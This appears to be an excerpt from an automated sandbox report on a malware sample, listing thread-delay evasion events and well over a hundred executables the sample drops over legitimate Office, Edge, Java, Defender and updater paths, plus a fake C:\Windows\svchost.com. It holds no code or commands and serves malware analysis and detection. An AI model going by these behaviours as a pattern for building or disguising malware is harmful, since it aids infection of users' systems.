Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 596094	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595985	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595866	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595750	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595641	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595516	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Thread delayed: delay time: 595406	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Window / User API: threadDelayed 2024			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\3582-490\LisectAVT_2403002B_4.exe	Window / User API: threadDelayed 7790			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\DATABASECOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\UcMapi.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\identity_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\POWERPNT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PerfBoost.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MsMpEng.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\Office16\OSPPREARM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jaureg.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-006E-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCopyAccelerator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SETLANG.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\DW\DW20.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0C0A-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Windows\svchost.com	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\lync99.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Java\Java Update\jusched.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\FLTLDR.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\ssvagent.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SELFCERT.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\cookie_exporter.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\filecompare.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SCANPST.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\xlicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\ConfigSecurityPolicy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTEM.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOSREC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\VSTO\10.0\VSTOInstaller.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3Help.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\accicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoev.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\lyncicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\IEContentService.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateSetup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\notification_click_helper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Analysis Services\AS OLEDB\140\SQLDumper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVLP.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge_proxy.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\officeappguardwin32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\wordicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\SPREADSHEETCOMPARE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javacpl.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\pwahelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Check.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pj11icon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\NisSrv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ACCICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\MSOICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesX64\Microsoft Office\Office16\AppSharingHookController64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ONENOTE.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\java.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\visicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeComRegisterShellARM64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\armsvc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\elevation_service.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\joticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CLVIEW.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSOHTMED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SkypeSrv\SKYPESERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Oracle\Java\javapath_target_749031\javaws.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\XLICONS.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\AutoIt3_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\chrome.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\msedgewebview2.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateOnDemand.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-0409-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpDlpCmd.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\javaw.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateComRegisterShell64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleCrashHandler.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\NAMECONTROLSERVER.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\pptico.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Client\AppVDllSurrogate32.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\outicon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\jp2launcher.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\dbcicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\MSQRY32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Google\Update\1.3.36.312\GoogleUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-001F-040C-0000-0000000FF1CE}\misc.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Microsoft Shared\OFFICE16\LICLUA.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\SDXHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ORGCHART.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\osmclienticon.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\PPTICO.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WINWORD.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Integration\Integrator.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\WORDICON.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrSanBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\upx.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Common Files\Adobe\ARM\1.0\AdobeARMHelper.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\ai.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Java\jre-1.8\bin\unpack200.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\GRAPH.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Uninstall.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\Windows\Installer\{90160000-000F-0000-0000-0000000FF1CE}\sscicons.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\X86\MpCmdRun.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\DCF\Common.DBConnection.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\CNFNOT32.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\msoadfsb.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Au3Info.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\Office16\MSOXMLED.EXE	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\Aut2Exe\Aut2exe_x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.23080.2006-0\mpextms.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\AppSharingHookController.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OfficeScrBroker.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\Installer\setup.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\Wordconv.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\ProgramData\Package Cache\{8bdfe669-9705-4184-9368-db9ce581e0e7}\VC_redist.x64.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Edge\Application\117.0.2045.47\BHO\ie_to_edge_stub.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\OcPubMgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\AutoIt3\SciTE\SciTE.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\aimgr.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdateCore.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\ADDINS\Microsoft Power Query for Excel Integrated\bin\Microsoft.Mashup.Container.Loader.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft\Temp\EUC7A5.tmp\MicrosoftEdgeUpdate.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\vfs\ProgramFilesCommonX86\Microsoft Shared\Office16\OLicenseHeartbeat.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_4.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Microsoft Office\root\Office16\VPREVIEW.EXE	Jump to dropped file
